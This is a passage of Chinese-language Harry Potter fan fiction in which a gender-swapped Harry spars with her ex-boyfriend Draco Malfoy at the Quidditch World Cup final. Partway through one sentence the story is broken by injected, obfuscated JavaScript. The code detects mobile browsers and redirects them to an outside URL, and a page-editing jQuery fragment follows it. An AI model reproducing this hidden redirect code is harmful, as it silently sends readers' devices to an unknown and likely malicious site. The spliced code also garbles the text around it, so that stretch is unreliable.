他站在高台下的楼梯上，周围是拥挤的人流，身边站着他的父亲和母亲——卢修斯·马尔福不悦地用他那长长的手杖打了一下自己的儿子，德拉科·马尔福捂着小腹，没有顺从他父亲的，那双银灰色泛着冷光，玻璃珠一样好看的眼睛依旧盯着哈莉，让她觉得自己的皮肤被一层黏着冰冷的胶质死死贴着。
“哈莉？”
罗妮和赫敏疑惑地看向她们的朋友——哈莉突然就不说话了，她们连着叫她两声也得不到回应，好奇的二人于是顺着她目光的方向看去，映入眼帘的是德拉科·马尔福那张欠揍的小白脸，以及他同样一脸高傲的双亲。
罗妮翻了个白眼，厌恶地将视线挪开，好像再多看一眼，三个苍白的马尔福就会变成湿哒哒的奶油蛋糕，半化开糊在她脸上。赫敏的眉毛也皱起来，自从巴克比克事件后，她就再也不对马尔福的良知抱有任何形式上的期待，要她说，和他谈恋爱，一定算是哈莉有史以来做过的最糟糕的决定——还好她抽身较早。赫敏的好心情一下子就被冲淡了，她把脸转过去，正好看见罗妮那副不耐的神情，两人的目光在空中交汇，同时发出不屑的哼声。
——切，马尔福。
正当罗妮和赫敏为不速之客而大感不快时，在和德拉科·马尔福的这场对视中，哈莉率先败下阵来，她移开视线，回过神去和罗妮她们说话，两位好朋友很给面子的没有提她刚刚的走神，她再次将心身投入到对魁地奇局势的预测中去。
但很显然，哈莉的体育热情并不能得到毫无干扰的环境支持，因为，几分钟后，那个害她走神的罪魁祸首再次出现在她面前，她们的聊天被迫中断。
“啊，福吉，”卢修斯·马尔福用他那又长又缓的调子跟康奈利·福吉讲话，哈莉可算知道德拉科·马尔福平时都跟谁学的了——他可太像他爸爸了，这位和他儿子如出一辙的大马尔福向福吉介绍他的家人——
“我想你还没见过我的夫人纳西莎和我的儿子德拉科吧。”
“你们好，你们好。”
福吉笑着跟马尔福们打招呼，哈莉认为他的表情充满了谄媚，她压根儿没发现自己的注意一下子被那家金头发吸引过去了，这让罗妮很是不满——“她难道还想着要跟马尔福复合吗？”她嘟囔了几句，赫敏瞪了她一眼，让她少说两句。
在福吉向马尔福一家表达了足够的奉承后，他开始为马尔福们介绍在场人士，一位保加利亚魔法部官员被他轻飘飘地揭过去，话题很快来到了小天狼星和亚瑟·韦斯莱，前者不言不语冷笑一声，后者如临大敌，简直是面对乌泱泱马其顿大军的希腊公民。
这下，不只是哈莉，连罗妮也有点儿坐不住了——上一回她爸爸和大马尔福见面，两个人在丽痕书店的斗殴事件直接上了隔天的巫师日报头条，她现在还记得他们怎么说的——《新仇旧恨？纯血领袖马尔福与反血统论破落户韦斯莱又掀波澜》，她妈妈气得在家里连做了三天熏牛肉三明治，罗妮一点儿也不想继续那三天的食谱。
卢修斯·马尔福的嘴唇轻轻动了动，看起来想说点儿什么，但小天狼星站在亚瑟前面，好整以暇地看了他一眼，让他把那些刻薄的话都咽进肚子里去了，这片看台现在沉默地出奇，除了福吉以外，没人在说话。
“卢修斯刚刚捐了一大笔钱给圣芒戈，他是我的客人。”他面上流露出一种圆滑的友善，“多慷慨啊。”
大韦斯莱先生礼貌性地点了点头，看上去并不太想继续参与这段对话，小天狼星扫了背挺得笔直的马尔福一家，冲哈莉扬了扬头，和大韦斯莱先生一起走到座位边上去。
算算时间，比赛也差不多就要开始，哈莉跟在他们身后走上台阶，罗妮和赫敏依旧站在看台上，她们打算找个好角度，拍几张照片给赫敏的爸爸妈妈看，还有科林的份儿，这毕竟是他的相机——哈莉想，科林会喜欢这个礼物的，毕竟他很喜欢在魁地奇学院杯的时候拍自己。
哈莉刚坐到座位上，马尔福一家就也入座了，德拉科·马尔福就坐在她斜后方，位置正对着罗妮的，这让哈莉开始觉得罗妮一直站那儿也挺好的，毕竟她可不想看见最好的朋友被自己上不得台面的前男友踢中后脑勺——这是魁地奇，又不是足球。
半分钟后，卢多·巴格曼兴奋的声音在体育场里回响——
“女士们！先生们！欢迎大家！欢迎大家来到魁地奇世界杯总决赛现场！”
欢呼的浪潮一瞬间席卷了整个场地，观众们热切地鼓掌着，挥动成千上万的鲜艳旗帜，保加利亚和爱尔兰队的支持者们的呐喊简直要将这里掀个底朝天，计分牌上明明白白写着两行大字——保加利亚比爱尔兰，0：0。
卢多·巴格曼施过“声如洪钟”的声音扯到最大才盖住情绪高涨的魁地奇球迷们：“现在，刻不容缓，让我来介绍……保加利亚队的吉祥物！”
哈莉原本一点儿也不好奇他们的吉祥物是什么，她对比赛的热情远远多于对无关紧要的开幕式的，但大韦斯莱先生奇怪的反应让她转变想法，因为他在说出一句“我很好奇他们带来了什么”后，不假思索地摘下了眼镜。
——这让哈莉戴上了眼镜。
“媚娃！”她只听见他这么说。
哈莉很快就知道什么是媚娃了，那些女人轻快地跳到广场中间，童话书里才有的美丽的精灵一样舞蹈着……或者是湖中仙女，她们的美貌超过了哈莉所能想象到的世上的一切，那月光一样莹白的肌肤在夜晚暗色的天下闪着奇异的光辉，太阳一样金色的秀发在空中水波一样荡漾摆动，她们的眼睛好像无数清澈的溪水，叮叮咚咚雀跃着明快的节奏，她们的嘴唇好像五月的玫瑰花瓣，娇艳芳香透露着诱人的饱满。
她们是上天的宠儿，哈莉将要沦陷进这美丽的神迹。
“嗷！”哈莉捂着脑袋回头，她的头发被某个坐在她斜后方的小王八蛋狠狠揪了一下。
“丢人。”德拉科·马尔福居高临下地冲她说，好像她刚刚犯了什么蠢一样，哈莉正要和他争辩，却发现她不知什么时候站起来了。
“我不知道媚娃对女人也有这么大魅力，”小马尔福讥讽地说，他的嘴角尖尖的，勾出一个弧度不大的上翘，“你就是喜欢漂亮的，波特，也别这么没门槛。”
哈莉把自己的头发从他手里夺回来：“一样的话送给你，马尔福，你真该照照镜子，知道自己的脸有多红吗？”
——德拉科·马尔福那张常年苍白的脸和那些媚娃小姐的嘴唇一样粉，哈莉不觉得那是因为捉弄自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165835|168746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而快乐的，那就太夸张了。
但不管原因是什么，这都让他的脸看上去更红了，小马尔福把脸转到一边去，哈莉重新坐下，没有理他，毕竟她不想隔着马尔福夫人跟他吵架——她还记得马尔福夫人给她做过小糖果呢，虽然她也不一定就喜欢她，但那些糖确实挺好吃的。
她有些尴尬地向马尔福夫人笑了笑，马尔福夫人会给她一个冷淡的点头——还算友好，哈莉想。
看台上，那些媚娃开始跳舞了，大韦斯莱先生始终低着头，一眼不敢多看，小天狼星的姿态比他自然些，但也没有将视线投向广场上光彩照人的女士们，哈莉转转头，大小两位马尔福先生跟他们也差不多，卢修斯·马尔福和他的夫人隔着他们的儿子含情脉脉，德拉科·马尔福坐得很靠前，从耳朵到脖子都是粉的，一门心思盯着哈莉的头发发呆，哈莉又看向看台那边，罗妮和赫敏举着相机站在最角落，她们原来的位置挤着珀西、弗雷德、乔治和金，他们四个看上去恨不得飞到栏杆下面，跳到媚娃们的怀抱里去。
“为什么叫她们‘媚娃’？”哈莉问小天狼星。
“因为她们就是，”小天狼星说，“媚娃是一种魔法生物，她们具有强大的魅力能通过舞蹈等行为让男性为之疯狂，甚至丧失理智。”
“我以为她们是人。”哈莉说，“我看不出来她们又哪儿跟我们不一样，长得非常漂亮这点除外。”
“不，哈莉，”小天狼星摇摇头，“她们不是人，你可以再等等看。”
哈莉很快就明白小天狼星的意思了，舞蹈结束后，意犹未尽的观众们显然不想让这群美丽的仙女离开，人群发出震耳欲聋的不满，队伍最后面的两位小姐像是受了惊，一下子变成鸟头尖翅的生物，下一秒又恢复正常。
“这就是媚娃。”小天狼星淡淡道，坐得非常散漫。
哈莉还想说什么，但大韦斯莱先生笑着把她掉到地上的帽子捡起来：“你会需要它的，”他说，“爱尔兰队要讲话了。”
一场金雨洒下。
哈莉确信这是自己这辈子见过的最耗钱的开幕式，因为两个光球融到一起，形成一张巨大的三叶草，这爱尔兰队的标志升到空中开始飞翔，全场洒满了金加隆。
哈莉接了一帽子，一转头，罗妮和赫敏也在那里接钱，金已经装了满满一兜跑过来，她忽然有点儿怀疑——
“这是真的吗？”
“假的。”小天狼星懒洋洋地说，“不过你可以先拿着玩儿。”
哈莉看向手里的金币，只觉得它们非常真实，毫无破绽。
“我看它们跟真的一点儿区别也没有。”她小声说。
德拉科·马尔福不知道什么时候和他母亲换了座位，坐到她正后方来，贴着她的耳朵笑着道：“爱尔兰队就是发了也不会把真钱给你的，波特，你就那么喜欢金加隆？”
哈莉被吓了一跳，只觉得半边耳朵脖子酥酥麻麻，热气吐在她脖颈上，让她想往另一边倒，金扶住她的胳膊。
“小心点儿，哈莉。”
哈莉重新坐好，马尔福还在耳边喋喋不休，“我不像韦斯莱那样热衷于接□□，”金听到这话厌恶地看了他一眼，而他毫不在意，依旧盯着哈莉，“因为，我有的是钱。”